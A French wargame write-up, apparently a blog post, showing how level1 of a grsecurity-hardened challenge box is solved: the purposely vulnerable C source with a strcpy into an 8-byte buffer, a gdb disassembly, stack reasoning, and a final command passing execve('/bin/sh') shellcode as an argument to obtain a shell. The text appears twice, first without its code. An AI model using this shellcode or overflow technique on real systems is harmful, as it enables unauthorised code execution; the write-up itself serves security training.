Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.
Bonsoir!
J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.
La preuve:
On est accueilli par un message tout ce qu'il y a de plus classique :
Ok cool, maintenant passons au level1 si vous voulez bien :).
Comme d'hab', on va regarder le code assembleur :
Bon reste plus qu'à poutrer ça le plus simplement du monde :).
En reconstruisant la stack de tête, on a un truc du genre:
On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.
Pawned,
Pour le level2 ça va attendre encore un petit moment,
m_101
Bonsoir!
J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.
La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 2
On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686 _____ _____ ____ ________________ \__ \ / \_/ __ \ / \_ __ \__ \ / __ \| Y Y \ ___/| | \ | \// __ \_ (____ /__|_| /\___ >___| /__| (____ / \/ \/ \/ \/ \/ Amenra wargaming platform levels are in /home/levelX pass are in /home/levelX/passwd Infos : Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t ! To check if level's stack is +x use : /sbin/paxctl -v levelX Box reboots everyday Box can be unstable Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg Be ethical or die ! Tools : objdump & readelf gdb 7.2 : symbols files are avaible, if you want to use them do: set debug-file-directory /usr/lib/debug python 2.6.6 ruby 1.8.7 nano & vim gcc 4.4.5 & nasm strace & ltrace contact : ivanlef0u@tuxfamily.org
Ok cool, maintenant passons au level1 si vous voulez bien :).
// level1.c // gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1 // paxctl -c -p -s -m -r -x -s level1 // #include <string.h> int main(int argc, char * argv[]) { char buf[8]; strcpy(buf, (char *)argv); return 0; }
Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 Reading symbols from /home/level1/level1...(no debugging symbols found)...done. gdb$ disassemble main Dump of assembler code for function main: 0x080483c4 <+0>: push ebp 0x080483c5 <+1>: mov ebp,esp 0x080483c7 <+3>: sub esp,0x10 0x080483ca <+6>: mov eax,DWORD PTR [ebp+0xc] 0x080483cd <+9>: mov DWORD PTR [esp+0x4],eax 0x080483d1 <+13>: lea eax,[ebp-0x8] 0x080483d4 <+16>: mov DWORD PTR [esp],eax 0x080483d7 <+19>: call 0x80482fc <strcpy@plt> 0x080483dc <+24>: mov eax,0x0 0x080483e1 <+29>: leave 0x080483e2 <+30>: ret End of assembler dump. gdb$ quit
Bon reste plus qu'à poutrer ça le plus simplement du monde :).
En reconstruisant la stack de tête, on a un truc du genre:
ret sfp buffer+4 buffer
On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.
level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"` $
Pawned,
Pour le level2 ça va attendre encore un petit moment,
m_101